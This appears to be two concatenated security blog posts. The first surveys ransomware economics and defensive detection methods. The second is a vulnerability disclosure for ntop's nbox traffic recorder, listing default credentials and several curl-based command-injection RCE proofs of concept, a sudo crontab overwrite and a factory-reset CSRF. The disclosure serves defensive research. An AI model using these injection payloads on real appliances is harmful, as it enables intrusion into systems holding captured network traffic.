I wrote a little bit about Ransomware general view and Ransomware general infection methods here.
Today, after some more months working on the field and after having meet much more Ransomware than I thought, I'd like to write a little bit about how to "fight them".

Before starting the review of some of the most known strategies to fight Ransomware let me explain why nowadays Ransomware are not "fair" as they were few months ago. Indeed while back at the beginning of 2016 Ransomware writers would assure your data back once paid the ransom, today's Ransomware writers don't assure it (there are several  paid ransoms with unrecovered files examples just few of them: here, here and here ).  This situation has been made possible by users who paid the ransoms during the past months. Those users arose the Ransomware ecosystem reputation by increasing the trust of entire supply chain.  

For example we experienced many infected users saying:
"Ok, I took a ransomware and my backup sucks. Let's pay the ransom, it only asks for few bucks. I'll pay more attention next time!"

This user' behaviour increased the Ransomware reputation such as today nobody doubts about paying the ransom and getting back own files. This "well reputation" made possible for "not super skilled" attackers and/or to attackers who wanted to make quick money, to implement "half of the Ransomware (without decryption module)". This made very angry the whole Ransomware 's writer community (which happens to be a professional community) who actually is divided into two main parties: the one who wants to increase the Ransomware reputation by giving back files once the ransom has been payed (usually Ransomware as a service writers) and the one who exploits the Ransomware community reputation writing quick and dirty Ransomware (available on black market as a service as well) who actually wont give back files once the ransom has paid (usually single hosted Ransomware).

Ok, nice story but how do we fight them ?

Today there are two main known strategies so far:
  1. Try to block the ransomware infection before it "fires up".
  2. Try to detect it before it can create a real "damage".
I wont write about prevention on this "post" but just about mitigation. So I assume the Ransomware is already landed on the victim's machine.

Methods to try to block a Ransomware infection before it "fires up".
Three main methods to try to block a Ransomware infection assuming the Malware already landed into victim's PC are implemented so far:

1. Signature Based (AV) Approach. 
As common virus the known Ransomware own signatures. If the signature (that could be static ore dynamic) matches the sample file, the sample itself is blocked and trashed away.
This is the romantic approach that will work only for known ransomware. Useless in today's technology.

2. Policy Based Approach.
Files executable could not be run from every folder (for example from the eMail folder or from temporary folders)
It could be a first and important way to "decelerate" the infection rate. In fact many infections happen through "avid clickers" who open untrusted email and/or click on untrusted links. Having them to move the "downloaded file" or to copy the malicious attachment to another destination often helps the "avid clickers" to get distracted and to not get infected.

3. CallBack Based approach.
Every recent Ransomware needs to comunicate to external servers to get  encryption key or to communicate the infection to the attacker and later on to get back the decryption key. A primitive approach is to detect the callback and to block it avoiding the initial communication.
This approach is hard in the real life since the communication methods can be very brilliant and innovative. Indeed the communication to command and control could be (just for example) end-to-end encrypted and/or the contacting addresses could be a legitimate hacked domain.

Methods to try to detect it before it can create a real "damage"
Some of the main methods implemented by commercial products try to block the Ransomware Infection once it has been fired up. Following the most implemented strategies. 

1. Flag processes who read and write too many files too quickly. 
This method, is used by MalwareBytes AntiRansomware which is based on Nathan Scott's CryptoMonitorIt counts how often untrusted processed have modified “a certain number of personal files, under a certain time.” A similar method implemented by Adam Kramer’s hande_monitor tool on the frequency with which processes create handles through which they can access files.
Implementing this method solo could have a tons of false positives (and white/black listing on them). Let's image DropBox process or GoogleDrive during a sync phase. How many file does it modify/delete/create and how quickly does it ? Or CAD software who constantly saves tons of partial rendered piece of files before assembling them ? It's clear that this strategy solo is not gonna work.
    
2. Flag processes that changes file's entropy values.
Encrypted files tend to have a more uniform distribution of byte values than other files. Their contents are more uniform. Our tool could compare the file’s entropy before and after the change. If a modified file has higher entropy, it might have gotten encrypted, indicating that the responsible process might be ransomware. 
Implementing this method solo you might find issues on real encrypted files and/or on compressed files who tend to have a while flat ad uniform distribution of charset.

3. Flag processes who change entropy of selected "untouchable" files.
Specific canary files are dynamically injected into hidden or not hidden folders and monitored. If a process tries to modify them, the process will be considered as malicious.
Implementing this method solo could generate false positives since an unsuspecting user could open the canary file at any time.

4. SyncHoling folders.
By creating a nested tree of recursive folders to trap single processes Ransomware who will loop into it by consuming a lot of resources but without encrypting any real user file.
Once the process (Ransomware process) is identified by one or more techniques as expressed above the system could kill it or suspend it (putting it in holding mode) asking to user what to do.


Conclusions

Ransomware infections are one of the most spread threats in todays' Internet (foreground internet). They have been evolved over years (a super great paper on the Ransomware evolution could be found here) since the last evolution defined Ransomworm (conied at the beginning of 2016), which includes self propagating skills, such as for example: infecting public accessible folders and/or running vulnerability scanning on network machine for known exploitable vulnerabilities which will be used in order to propagate itself. The following image shows the activity of used bitcoin address in a Ransomware campaign. As you might observe the average time frame of a Bitcoin address used in a Ransomware fraud is between 0 to 5 days which makes super hard to catch the owner by cross-correlation over multiple transitions.

Figure 1: The duration of activity for Bitcoin addresses. Approximately 50% of Bitcoin addresses have zero to five days of active life (from here).



Nowadays there are plenty quick fixes that promise to solve the issue but not a real solver has been released to public (at least as far as I know) so far. At this point I wont give you the consolidated suggestion to keep up to date your OS and to download the last AntiVirus Engine because it really do not matter at all. Apply the policies, inform your users about this threat and stay tuned, the answer to such a threat will come and something will happen in the Anti Malware market soon :)  .





Got any RCEs?

Security is a boomin’, and so there are many different appliances to protect your network. Some of them do very little to protect, some of them open new holes in your network.

In line with best practice, many Security teams capture all network traffic using a variety of solutions, some closed, some open source. Once the traffic is stored, it can be used to detect badness, or just examine traffic patterns on corporate assets.

One of these open source options is NTOP, which of course has an appliance version, called nbox recorder.  It goes without saying, if this traffic data were to be exposed, the consequences could be catastrophic. Consider stored credentials, authentication data, PII, internal data leakage...
pcap_tee.png
PCAP or it didn't happen

You can either buy a ready-to-go appliance or with some drudge work you can build your own. Just get a license for nbox and just put it into a Linux box, they are nice like that providing all the repositories and the steps are simple and easy to follow. Just spin up an Ubuntu VM and run:


wget http://apt.ntop.org/14.04/all/apt-ntop.deb
sudo dpkg -i apt-ntop.deb
sudo apt-get clean all
sudo apt-get update
sudo apt-get install -y pfring nprobe ntopng ntopng-data n2disk cento nbox





BOOM! You are ready to go. Now you have a nbox recorder ready to be used. And abused!
The default credentials are nbox/nbox and it does use Basic Auth to be accessed.

Before I continue, imagine that you have this machine capturing all the traffic of your network. Listening to all your corporate communications or production traffic and storing them on disk. How bad would it be if an attacker gets full access to it? Take a minute to think about it.


nervs.gif
Uh-oh...
This level of exposure caught my eye, and I wanted to verify that having one of these sitting in your network does not make you more exposed. Unfortunately, I found several issues that could have been catastrophic with a malicious intent.

I do believe in the responsible disclosure process, however after repeatedly notifying both ntop and MITRE, these issues were not given high priority nor visibility. The following table details the timeline around my disclosure communications: 

Disclosure Timeline

12/27/2014 - Sent to ntop details about some nbox vulnerabilities discovered in version 2.0
01/15/2015 - Asked ntop for an update about the vulnerabilities sent
01/16/2015 - Requested by ntop the details again, stating they may have been fixed
01/18/2015 - Sent for a second time the vulnerabilities details. Mentioned to request CVEs
05/24/2015 - Asked ntop for an update about the vulnerabilities sent and to request CVEs
01/06/2016 - Noticed new nbox version is out (2.3) and found more vulnerabilities. Old vulnerabilities are fixed. Sent ntop an email about new issues and to request CVEs
01/06/2016 - Quick answer ignoring my request for CVEs and just asking for vulnerabilities details.
01/28/2016 - Sent request for CVEs to MITRE, submitting a full report with all the issues and steps to reproduce.
02/17/2016 - Asked MITRE for an update on the issues submitted.
02/17/2016 - Reply from MITRE: “Your request is outside the scope of CVE's published priorities. As such, it will not be assigned a CVE-ID by MITRE or another CVE CNA at this time.”

07/10/2016 - Noticed new nbox version (2.5) with partial fixes for some vulnerabilities in the previous (2.3) version

The ntop team initially refused to comment and silently fixed the bugs. MITRE then said this wasn't severe enough to warrant a CVE. As such, I have now chosen to highlight the issues here in an effort to have them remediated. I again want to highlight that I take this process very seriously, but after consulting with multiple other individuals, I feel that both the ntop team and MITRE have left me no other responsible options.
neotrain1.jpg
Here comes the paintrain!

*Replace NTOP-BOX with the IP address of your appliance (presuming that you already logged in). Note that most of the RCEs are wrapped in sudo so it makes the pwnage much more interesting:


RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK

curl -sk --user nbox:nbox --data 'cmd=touch /tmp/HACK' 'https://NTOP-BOX/ntop-bin/write_conf_users.cgi'


RCE: POST against https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi with parameters interface=;touch /tmp/HACK;


curl -sk --user nbox:nbox --data 'interface=;touch /tmp/HACK;' 'https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap


curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22


curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22'

RCE: POST against https://NTOP-BOX/ntop-bin/do_mergecap.cgi with parameters opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit%200

curl -sk --user nbox:nbox --data 'opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit 0' 'https://NTOP-BOX/ntop-bin/do_mergecap.cgi'

There are some other interesting things, for example, it was possible to have a persistent XSS by rewriting crontab with a XSS payload on it, but they fixed it in 2.5. However the crontab overwrite (Wrapped in sudo) is still possible:

GET https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON'

The last one is a CSRF that leaves the machine fried, by resetting the machine completely:
GET https://NTOP-BOX/ntop-bin/do_factory_reset.cgi

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_factory_reset.cgi'


To make things easier, I created a Vagrantfile with provisioning so you can have your own nbox appliance and test my findings or give it a shot. There is more stuff to be found, trust me :)


And you can run the checker.sh to check for all the above attacks. Pull requests are welcome if you find more!



Screen Shot 2016-07-26 at 10.00.27.png





nodding.gif





(The issues were found originally in nbox 2.3 and confirmed in nbox 2.5)

Modules for metasploit and BeEF will come soon. I hope this time the issues are not just silently patched...

If you have any questions or feedback, hit me up in twitter (@javutin)!

Have a nice day!